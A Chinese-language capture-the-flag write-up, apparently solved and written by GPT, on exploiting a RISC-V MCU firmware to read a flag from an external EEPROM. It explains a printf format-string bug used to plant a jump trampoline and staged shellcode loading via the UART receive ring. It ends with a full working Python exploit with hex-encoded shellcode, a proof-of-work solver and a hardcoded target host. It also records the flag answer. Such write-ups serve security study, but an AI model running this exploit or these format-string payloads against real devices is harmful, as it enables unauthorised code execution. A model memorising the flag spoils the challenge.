题目由 GPT 完成,本报告也由 GPT 生成

1. 附件入手

题目给了两个附件:

  • firmware.bin:MCU 裸机固件。
  • schematic.pdf:硬件原理图。

这题不是 Linux ELF pwn,而是 MCU 固件利用。整体目标是先在固件里拿到代码执行,再根据原理图访问外接 EEPROM,把 EEPROM 中的 flag 打出来。

最终 flag:

1
ACTF{f423f891dc9d7a137f27e366fbff7974}

1.1 原理图信息

先看 schematic.pdf。用 pdftotext -layout schematic.pdf - 可以提取出主要器件:

1
2
U1: CH32V003F4P6
U2: AT24C64

原理图上还能看到 EEPROM 和 MCU 的连线:

1
2
AT24C64 SDA -> PC1
AT24C64 SCL -> PC2

因此后续拿到代码执行以后,读 flag 的方向基本确定:在固件里操作 GPIOC,用 PC1/PC2 bit-bang I2C,访问 AT24C64。

1.2 远端地址

题目没有额外给远端 IP 和端口,但固件里确实藏了连接方式。直接 strings 看不到:

1
strings -a firmware.bin | rg "nc |1\\.95|10001|host|port"

只能看到普通交互 banner:

1
Type `exit' to exit.

原因是远端地址不是明文字符串,而是在启动阶段被异或解码输出。固件入口从 0x0 跳到 0xfca,进入主循环 0xde2 之前,会执行 0xdba 附近的一段隐藏输出逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
d9c: 6485                 c.lui  x9,0x1
d9e: 4401 c.li x8,0
daa: fca48493 addi x9,x9,-54 # x9 = 0xfca

dba: 6789 c.lui x15,0x2
dbc: e3878793 addi x15,x15,-456 # x15 = 0x1e38
dc0: 00940733 add x14,x8,x9 # x14 = 0xfca + i
dc4: 97a2 c.add x15,x8 # x15 = 0x1e38 + i
...
dca: 0409 c.addi x8,2 # i += 2
dcc: 8d3d c.xor x10,x15
dce: e26ff0ef jal x1,0x3f4 # putchar
dd2: 02a00793 addi x15,x0,42
dd6: fef412e3 bne x8,x15,0xdba

其中 0xdc60xdc8 这两个 16-bit 指令用通用 RISC-V 反汇编工具会显示成 F 扩展压缩指令,但结合寄存器流和实际输出,可以还原出等价逻辑:

1
2
3
for (int i = 0; i != 42; i += 2) {
putchar(firmware[0x1e38 + i] ^ firmware[0x0fca + i]);
}

静态解码脚本:

1
2
3
4
5
from pathlib import Path

fw = Path("firmware.bin").read_bytes()
msg = bytes(fw[0x1e38 + i] ^ fw[0x0fca + i] for i in range(0, 42, 2))
print(msg.decode(), end="")

输出:

1
nc 1.95.116.62 10001

所以远端 UART bridge 地址为:

1
1.95.116.62:10001

远程服务启动时看到的完整输出类似:

1
2
3
4
Preparing environment... Timeout in 180 seconds
nc 1.95.116.62 10001
Type `exit' to exit.
<

其中 Preparing environment... 来自题目外层服务,后面的 nc ...Type \exit’ to exit.都可以由固件 UART 输出。之前如果直接从主循环0xde2` 开始仿真,就会跳过这段启动阶段的隐藏输出。

2. 固件分析

firmware.bin 是裸机 raw binary:

1
firmware.bin: data

可以用 RISC-V raw binary 方式反汇编:

1
riscv64-linux-gnu-objdump -D -b binary -m riscv:rv32 -M no-aliases,numeric firmware.bin

入口在 0x0

1
2
00000000:
0: 7cb0006f jal x0,0xfca

启动代码在 0xfca 附近设置 gpsp

1
2
3
4
00000fca:
fca: 20000197 auipc x3,0x20000
fce: 89618193 addi x3,x3,-1898 # gp = 0x20000860
fd2: fa018113 addi x2,x3,-96 # sp = 0x20000800

后续初始化会把一部分代码和数据搬到 RAM,RAM 基址附近的 0x20000000 也会成为后面 exit path 的调用目标。

调试过程中定位到的关键地址如下:

含义 地址
gp 0x20000860
sp 0x20000800
主输入缓冲区 input 0x200000e8
UART RX DMA ring 0x20000068
UART RX ring 长度 0x80
RAM stub 0x20000000
单字节 RX helper 0x242
putchar 0x3f4
read wrapper 0x518
主循环 0xde2

这里有一个反汇编细节:题目是 RV32E flavor,固件里有不少压缩指令,普通 objdump 对个别 16-bit 指令的显示并不完全可信。遇到这种情况,需要结合寄存器数据流、仿真行为和远程输出一起判断。

3. 程序逻辑

主循环位于 0xde2 附近。整理成伪代码大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
puts("Type `exit' to exit.");

while (1) {
memset(input, 0, 0x40); // input = 0x200000e8

putchar('<');
putchar(' ');

read(0, input, 0x3f);

if (strcmp(input, "exit\n") == 0) {
puts("see ya");
((void (*)())0x20000000)();
} else {
printf(input);
}
}

交互行为也和这个逻辑一致:

1
2
3
4
5
Type `exit' to exit.
< hello
hello
< exit
see ya

这里有两个重要点:

  1. 普通输入会直接作为 printf 的格式串。
  2. 输入精确等于 exit\n 时,会走 exit path,并调用 0x20000000

exit path 的关键调用点如下:

1
2
ee2: 1ffff097   auipc x1,0x1ffff
ee6: 11e080e7 jalr x1,286(x1) # call 0x20000000

这给了一个很好的劫持点:如果能修改 0x20000000 处的指令,就可以在输入 exit\n 时转到我们控制的代码。

4. 漏洞点

漏洞点是典型格式串:

1
printf(input);

固件自己的 printf 支持 %c%x%s%n%hn 等格式。虽然调用点没有传额外参数,但 printf 仍会继续从当前调用现场取 vararg。通过调试可以利用第 7 个参数做一次 16-bit 写。

最终使用的格式串是:

1
%41056c%c%c%c%c%c%hn

构造思路:

  • %41056c 消耗第 1 个参数,并把已输出字符数推进到 41056
  • 后面 5 个 %c 消耗第 2 到第 6 个参数,并让输出字符数再加 5。
  • %hn 消耗第 7 个参数,把当前输出字符数作为 16-bit 写入该参数指向的地址。

当前输出字符数为:

1
41056 + 5 = 41061 = 0xa065

同时把第一行输入的第 63 个字节设置为 0x20。在这个固件的调用现场布局下,这会让第 7 个 vararg 被解析为:

1
0x20000000

于是格式串完成的写入就是:

1
*(uint16_t *)0x20000000 = 0xa065;

0xa065 是一条 RISC-V compressed jump:

1
c.j 0x200000a8

也就是在 0x20000000 放一个 2 字节跳板,等 exit path 调用 0x20000000 时跳到 0x200000a8

5. 利用思路

5.1 为什么不直接把 shellcode 放进 input

最直接的想法是:

  1. 第一轮输入用格式串改 0x20000000
  2. 第二轮输入把 stage1 放进 input = 0x200000e8
  3. 第三轮输入 exit\n 触发跳转。

这个方案会失败,因为每轮读输入前都会执行:

1
memset(0x200000e8, 0, 0x40);

也就是说,上一轮留在 input buffer 里的 stage1 会在下一轮处理 exit\n 前被清空。

5.2 把 stage1 放进 UART RX ring

固件的 UART 输入来自 DMA ring:

1
2
base = 0x20000068
size = 0x80

主循环会从 RX ring 取数据拷贝到 input buffer,但不会清空 RX ring 本身。因此可以把 stage1 留在 RX ring 里,再让 0x20000000 的跳板跳过去。

利用发送三段控制数据:

长度 作用
line_a 63 格式串,写 0xa0650x20000000
line_b 63 预加载 stage1 到 UART RX ring
exit_line 5 发送 exit\n,触发 exit path

RX ring 长度为 128。前两行一共 126 字节,再发送 exit\n 会发生 ring wrap,但只覆盖 ring index 0..2,不会破坏第二行中的 stage1。

第二行从 ring index 63 开始。为了让 stage1 2 字节对齐,在 stage1 前放 1 字节填充:

1
2
stage1_addr = 0x20000068 + 63 + 1
= 0x200000a8

这正好对应前面写入的 c.j 0x200000a8

5.3 必须分段发送

不能把所有 payload 一次性 sendall

第一段格式串会打印大约 41 KB 空格。如果后续 stage1、exit\n、stage2 一次性塞给远端,远端 UART/桥接层在大量输出期间可能丢输入,导致 stage1 或 stage2 不稳定。

最终交互流程必须按阶段等待 prompt:

1
2
3
4
5
6
7
8
9
10
send(line_a)
wait("< ")

send(line_b)
wait("< ")

send(exit_line)
wait("see ya")

send(stage2_block)

5.4 stage1 loader

stage1 本身放在 RX ring 中,但上传 stage2 时新的 UART 数据会覆盖 RX ring。因此 stage1 不能一直在 ring 中运行。

另一个问题是,直接调用固件的 read(0, 0x20000128, 0x400) 不稳定。远程调试时出现过 read() 短返回,只读到 stage2 开头几个字节就跳进去,最终 HardFault。

最终 stage1 设计为两步:

  1. RX ring 中的 stage1 先把一个 16 字节的小 loader 复制到安全 RAM,也就是 0x200000e8
  2. 跳到 0x200000e8 后,小 loader 调用固件底层单字节 RX helper 0x242,逐字节读取 0x400 字节 stage2 到 0x20000128

stage1 逻辑可以整理为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
stage1:
s0 = 0x20000128 ; stage2 dst
t1 = s0 ; stage2 entry
s1 = 0x400 ; remaining bytes
t0 = 0x242 ; firmware getc helper

copy loader from RX ring to 0x200000e8
jump 0x200000e8

loader:
a0 = s0
call t0 ; receive one byte into *a0
if no byte: retry
s0++
s1--
if s1 != 0: loop
jump t1

这样可以同时解决两个问题:

  • stage2 上传会覆盖 RX ring,但 loader 已经搬到了 0x200000e8
  • 不依赖 read() 一次读满,而是用单字节 helper 稳定收满 stage2。

5.5 stage2 读取 EEPROM

stage2 根据原理图操作 GPIO:

1
2
3
SDA = PC1
SCL = PC2
I2C address = 0x50

它完成的事情是:

  1. 初始化 GPIOC。
  2. 用 PC1/PC2 bit-bang I2C。
  3. 读取 AT24C64。
  4. 调用固件 putchar() 输出 EEPROM 内容。

实际远程验证默认方向 SDA=PC1, SCL=PC2 正确,不需要交换引脚。

6. 最终 payload 布局

最终 payload 总长度为:

1
63 + 63 + 5 + 1024 = 1155 bytes

布局如下:

部分 长度 内容
line_a 63 %41056c%c%c%c%c%c%hn,末字节 0x20
line_b 63 A + stage1 + padding
exit_line 5 exit\n
stage2_block 1024 stage2,不足补零

完整控制流:

1
2
3
4
5
6
7
8
9
10
11
printf(input)
-> *(uint16_t *)0x20000000 = 0xa065
-> 发送 stage1 到 UART RX ring
-> 发送 exit\n
-> exit path call 0x20000000
-> c.j 0x200000a8
-> stage1 复制 loader 到 0x200000e8
-> loader 逐字节读取 stage2 到 0x20000128
-> jump 0x20000128
-> stage2 bit-bang I2C 读取 AT24C64
-> putchar 输出 flag

7. 利用结果

运行:

1
python3 solve_amcu_exittramp.py --host 1.95.116.62 --port 10001 --timeout 18

成功输出:

1
2
3
4
[+] flag candidate: ACTF{f423f891dc9d7a137f27e366fbff7974}

[+] flag-looking candidate(s):
ACTF{f423f891dc9d7a137f27e366fbff7974}

最终 flag:

1
ACTF{f423f891dc9d7a137f27e366fbff7974}

8. EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#!/usr/bin/env python3
import argparse
import hashlib
import multiprocessing as mp
import os
import re
import socket
import time

HOST_DEFAULT = "1.95.116.62"
PORT_DEFAULT = 10001
TEAM_TOKEN_DEFAULT = "=====YOUR=====TEAM=====TOKEN====="

UART_RX_RING = 0x20000068
RAM_STUB = 0x20000000
INPUT_LINE_LEN = 63
READ_LEN = 0x400
EXIT_LINE = b"exit\n"
STAGE1_PREFIX = b"A"

STAGE1 = bytes.fromhex(
"1384818c228393040040930220249385018713868188b28611479c411cc2"
"910511067d177dfb82862285829275dd0504fd14fdf80283"
)

STAGE2 = bytes.fromhex(
"311106c822c626c4371502400c4d3716014093e505010ccd0842fd75bd056d8d1305056608c2194508ca02c212459305200263caa50013053002924585052ec29245e3cca5fe95221305000ac5220145f12a0145e12a912a1305100ac12a81421304300291472143b7160140094588ca02c21245130720026348a700124505052ac21245e34c85fe014581449cca02c292456348b700924585052ec29245e3cc85fe8c46dcca02c212466348c7001246050632c21246e34c86fee204dd80fa05fd810505cd8ce31365fc16c0138512f0133515000d24914613062002b715014094c902c212456348a600124505052ac21245e34c85fed4c902c212456348a600124505052ac21245e34c85fe094588c902c212456348a600124505052ac21245e34c85fe93f4f40f26859305403f82958242914721431305d0076387a400850213050010e392a2f20945b7160140c8ca02c2924513052002634ab500930530021246050632c21246e34cb6fe91458cca02c29245634ab50013053002924585052ec29245e3cca5fe094588ca02c212459305200263caa50013053002924585052ec29245e3cca5fe01a071113715014089450cc902c002469305200263cac500130630028246850636c08246e3ccc6fe114610c902c0024663cac500930530020246050632c00246e34cb6fe89454cc902c002469305200263cac500130630028246850636c08246e3ccc6fe114650c902c0024563caa50013053002824585052ec08245e3cca5fe11018280311106c822c626c48144130430022ac0137505085d28b7150140114588c902c21245130620026348a600124505052ac21245e34c85fe1145c8c902c212459305200263c8a500124505052ac21245e34c85fe850402450605a145e39ab4fa0945b716014088ca02c2924513052002634ab500930530021246050632c21246e34cb6fe91458cca02c21246634ac500130530021246050632c21246e34ca6fe03a08600ccca02c212459305200263caa50013053002924585052ec29245e3cca5fec2403244a244510182806111b715014015c1094588c902c002459305200263cba50213053002824585052ec08245e3cca5fe0da00945c8c902c212459305200263caa50013053002924585052ec29245e3cca5fe21018280"
)

POW_RE = re.compile(rb"sha256\(\? \+ '([^']+)'\).*?ends with (\d+) binary 0s", re.S)
FLAG_RE = re.compile(rb"[A-Za-z0-9_\-]*\{[^}\r\n]{1,200}\}")


def enc_cj(offset):
imm = offset & 0xfff
inst = (0b101 << 13) | 0b01
inst |= ((imm >> 11) & 1) << 12
inst |= ((imm >> 4) & 1) << 11
inst |= ((imm >> 8) & 3) << 9
inst |= ((imm >> 10) & 1) << 8
inst |= ((imm >> 6) & 1) << 7
inst |= ((imm >> 7) & 1) << 6
inst |= ((imm >> 1) & 7) << 3
inst |= ((imm >> 5) & 1) << 2
return inst & 0xffff


def build_payload(stage2):
stage1_addr = UART_RX_RING + INPUT_LINE_LEN + len(STAGE1_PREFIX)
tramp = enc_cj(stage1_addr - RAM_STUB)

fmt = (f"%{tramp - 5}c" + "%c" * 5 + "%hn").encode()
line_a = (fmt + b"\x00").ljust(INPUT_LINE_LEN - 1, b"X") + b" "
line_b = (STAGE1_PREFIX + STAGE1).ljust(INPUT_LINE_LEN, b"Y")

return line_a + line_b + EXIT_LINE + stage2.ljust(READ_LEN, b"\x00")


def build_parts(stage2):
payload = build_payload(stage2)
a = payload[:INPUT_LINE_LEN]
b = payload[INPUT_LINE_LEN:INPUT_LINE_LEN * 2]
c = payload[INPUT_LINE_LEN * 2:INPUT_LINE_LEN * 2 + len(EXIT_LINE)]
d = payload[INPUT_LINE_LEN * 2 + len(EXIT_LINE):]
return a, b, c, d


def recv_until(sock, patterns, timeout):
old = sock.gettimeout()
sock.settimeout(0.2)
end = time.time() + timeout
data = bytearray()
try:
while time.time() < end:
try:
chunk = sock.recv(4096)
except socket.timeout:
continue
if not chunk:
break
data += chunk
if any(p in data for p in patterns):
break
finally:
sock.settimeout(old)
return bytes(data)


def pow_ok(candidate, salt, bits):
need = (bits + 7) // 8
mask = (1 << bits) - 1
tail = hashlib.sha256(candidate + salt).digest()[-need:]
return (int.from_bytes(tail, "big") & mask) == 0


def pow_worker(queue, salt, bits, start, step):
i = start
while True:
candidate = str(i).encode()
if pow_ok(candidate, salt, bits):
queue.put(candidate)
return
i += step


def solve_pow(salt, bits, jobs):
jobs = max(1, jobs)
queue = mp.Queue()
procs = [
mp.Process(target=pow_worker, args=(queue, salt, bits, i, jobs), daemon=True)
for i in range(jobs)
]
for p in procs:
p.start()
try:
return queue.get()
finally:
for p in procs:
if p.is_alive():
p.terminate()
for p in procs:
p.join(timeout=0.2)


def print_remote(data):
if data:
print(data.decode("latin-1", "replace"), end="")


def handshake(sock, token, timeout, jobs):
data = recv_until(sock, [b"Team token:", b"token:"], timeout)
print_remote(data)
sock.sendall(token.encode() + b"\n")

data = recv_until(sock, [b"binary 0s", b"permission denied"], timeout)
print_remote(data)
if b"permission denied" in data:
raise RuntimeError("token rejected")

m = POW_RE.search(data)
if m:
salt = m.group(1)
bits = int(m.group(2))
print(f"[+] solving POW: sha256(x + {salt!r}) ends with {bits} zero bits")
ans = solve_pow(salt, bits, jobs)
print(f"[+] POW answer: {ans.decode()}")
sock.sendall(ans + b"\n")

data = recv_until(sock, [b"< ", b"agree", b"permission denied"], timeout)
print_remote(data)
if b"permission denied" in data:
raise RuntimeError("POW rejected")
if b"agree" in data.lower():
sock.sendall(b"agree\n")
data = recv_until(sock, [b"< "], timeout)
print_remote(data)


def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default=HOST_DEFAULT)
ap.add_argument("--port", type=int, default=PORT_DEFAULT)
ap.add_argument("--token", default=TEAM_TOKEN_DEFAULT)
ap.add_argument("--timeout", type=float, default=18.0)
ap.add_argument("--pow-jobs", type=int, default=os.cpu_count() or 1)
args = ap.parse_args()

print(f"[+] target {args.host}:{args.port}")
line_a, line_b, exit_line, stage2_block = build_parts(STAGE2)

sock = socket.create_connection((args.host, args.port), timeout=args.timeout)
sock.settimeout(args.timeout)
handshake(sock, args.token, args.timeout, args.pow_jobs)

print("[+] sending format-string trampoline")
sock.sendall(line_a)
print_remote(recv_until(sock, [b"< "], args.timeout))

print("[+] sending stage1 preload")
sock.sendall(line_b)
print_remote(recv_until(sock, [b"< "], args.timeout))

print("[+] sending exit trigger")
sock.sendall(exit_line)
print_remote(recv_until(sock, [b"see ya", b"HardFault"], args.timeout))

print("[+] sending stage2")
sock.sendall(stage2_block)

out = bytearray()
try:
while True:
chunk = sock.recv(65536)
if not chunk:
break
out += chunk
m = FLAG_RE.search(out)
if m:
print("\n[+] flag:", m.group(0).decode("latin-1", "replace"))
return
except socket.timeout:
pass

print("\n[-] flag not found")
print(bytes(out[-4096:]).decode("latin-1", "replace"))


if __name__ == "__main__":
main()